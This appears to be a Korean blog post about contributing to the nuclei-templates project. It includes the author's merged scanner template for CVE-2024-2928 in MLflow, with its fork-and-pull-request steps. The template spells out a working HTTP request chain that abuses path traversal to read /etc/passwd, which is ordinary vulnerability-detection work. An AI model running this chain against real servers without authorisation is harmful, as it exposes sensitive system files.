기여한 프로젝트
https://github.com/projectdiscovery/nuclei-templates
GitHub - projectdiscovery/nuclei-templates: Community curated list of templates for the nuclei engine to find security vulnerabi
Community curated list of templates for the nuclei engine to find security vulnerabilities. - projectdiscovery/nuclei-templates
github.com
Nuclei란 애플리케이션, 운영체제, 인프라, 클라우드 플랫폼 및 네트워크를 조사하여 취약점 식별 및 완화를 지원하도록 설계된 빠르게 악용 가능한 취약점 스캐너이다.
yaml 파일 형식의 템플릿을 통해 취약성, 심각도, 우선순위 등급 등에 대한 설명과 함께 취약점이 사용하는 규칙 및 패턴을 정의할 수 있으며, 이를 통해 Nuclei 스캐너는 취약점을 탐지할 수 있다.
오픈소스 컨트리뷰트 과정
1. 컨트리뷰트하고자 하는 repository를 fork한다.
2. fork로 생성한 repository에 branch를 생성한다.
3. 수정 후 커밋 & 내 repository에 푸시한다.
4. 원본 repository에 PR을 생성한다.
5. 원본 repository 관리자의 승인 & 머지를 받는다.
기여한 내용
https://github.com/projectdiscovery/nuclei-templates/pull/10482
Create CVE-2024-2928 by jyjyjy25 · Pull Request #10482 · projectdiscovery/nuclei-templates
Template / PR Information Fixed CVE-2020-XXX / Added CVE-2020-XXX / Updated CVE-2020-XXX References: Template Validation I've validated this template locally? YES NO Additional Details ...
github.com
CVE-2024-2928에 대한 nuclei-template을 작성하였고, PR 요청 후 머지된 상태이다.
id: CVE-2024-2928
info:
name: MLflow - LFI Exploitation
author: jyjyjy25, gy741, oriing, ANseunghyeon, woo4826
severity: high
description: |
This template detects Local File Read (LFI) vulnerabilities in MLflow due to URI fragment parsing confusion.
impact: |
Successful exploitation could allow an attacker to read arbitrary files such as /etc/passwd in the local file system.
remediation: |
Upgrade MLflow to version up to 2.11.3.
reference:
- https://huntr.com/bounties/19bf02d7-6393-4a95-b9d0-d6d4d2d8c298
- https://nvd.nist.gov/vuln/detail/CVE-2024-2928
tags: mlflow,lfi,cve,cve2024
http:
- raw:
- |
POST /ajax-api/2.0/mlflow/experiments/create HTTP/1.1
Host: http://127.0.0.1:5000
Content-Type: application/json
{"name": "poc", "artifact_location": "http:\/\/\/#\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/"}
extractors:
- type: json
part: experiment_id
- raw:
- |
POST /api/2.0/mlflow/runs/create HTTP/1.1
Host: http://127.0.0.1:5000
Content-Type: application/json
{"experiment_id": "{{experiment_id}}"}
extractors:
- type: json
part: run.info.run_uuid
- raw:
- |
POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
Host: http://127.0.0.1:5000
Content-Type: application/json
{"name": "poc"}
- raw:
- |
POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
Host: http://127.0.0.1:5000
Content-Type: application/json
{"name": "poc", "run_id": "{{run_id}}", "source": "file:///etc/"}
- raw:
- |
GET /model-versions/get-artifact?path=passwd&name=poc&version=1 HTTP/1.1
Host: http://127.0.0.1:5000
Content-Type: application/json
matchers:
- type: regex
regex:
- "root:.*:0:0:"
CVE-2024-2928란
MLflow 2.9.2에서 발생한 로컬 파일 읽기(LFI) 취약점으로, 공격자가 URI를 조작하여 /etc/passwd와 같은 서버의 민감한 파일을 읽을 수 있게 된다.
해당 취약점은 경로 탐색(path traversal)에 대한 입력 검증이 제대로 이루어지지 않아 발생한다. 이를 해결하기 위해선 mlflow ≥ 2.11.3으로 업데이트해야 한다.
'Etc' 카테고리의 다른 글
[Intellij] 코드 스타일 설정하기 (0) | 2024.04.17 |
---|---|
서블릿 예외 처리 로그 분석 (0) | 2023.12.09 |
JDK 버전 여러 개 설치해서 사용하기 (0) | 2023.09.25 |